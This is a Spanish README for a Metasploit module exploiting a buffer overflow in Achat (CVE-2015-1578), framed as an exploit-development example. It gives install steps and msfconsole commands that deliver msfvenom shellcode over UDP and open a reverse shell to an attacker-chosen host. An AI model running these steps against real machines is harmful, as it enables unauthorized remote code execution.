Módulo de Metasploit para CVE-2015-1578

Descripción general

Este es un módulo de Metasploit para CVE-2015-1578, una vulnerabilidad de desbordamiento de búfer en Achat 0.150 beta7 en Windows. La explotación conduce a la ejecución remota de código a través de un paquete UDP manipulado.

Propósito

Este módulo está diseñado para servir como un ejemplo limpio, mínimo y bien estructurado de desarrollo de exploits para Metasploit. Demuestra:

• Generación dinámica de shellcode con codificación Unicode mediante msfvenom
• Inyección manual de payload (omitiendo el codificador interno de Metasploit)
• Mecanismo de entrega simple basado en UDP
• Integración en el marco de Metasploit mediante carga personalizada de módulos

Video tutorial

Dependencias

• Metasploit Framework
• msfvenom en tu $PATH

Características

• Usa msfvenom para generar payload con codificación x86/unicode_mixed y caracteres no permitidos personalizados
• Evita el sistema de codificación de payload incorporado de Metasploit para sortear las limitaciones del codificador

Instalación

./install.sh

Luego inicia Metasploit y ejecuta:

reload_all
use exploit/windows/yaldobaoth/achat_bof

Opciones

• RHOSTS – Dirección IP del objetivo (requerido)
• LHOST – IP del host local para la shell inversa (requerido)
• LPORT – Puerto local para la shell inversa (por defecto: 4444)
• RPORT – Puerto UDP remoto en el objetivo (por defecto: 9256)

Ejemplo de uso

msfconsole
use exploit/windows/yaldobaoth/achat_bof
set RHOSTS 10.10.10.74
set LHOST 10.10.16.7
set LPORT 9393
run

Esto hará lo siguiente:

• Generar un payload de shell inversa compatible con Unicode mediante msfvenom
• Inyectarlo en el búfer vulnerable de Achat a través de UDP
• Escuchar la shell en el LHOST:LPORT especificado